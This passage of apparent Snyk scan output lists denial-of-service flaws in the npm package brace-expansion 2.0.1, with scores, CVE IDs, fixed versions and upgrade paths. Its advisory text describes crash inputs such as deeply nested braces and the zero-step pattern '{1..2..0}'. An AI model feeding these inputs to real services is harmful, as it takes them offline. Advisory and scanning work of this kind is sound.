"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/config@8.3.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
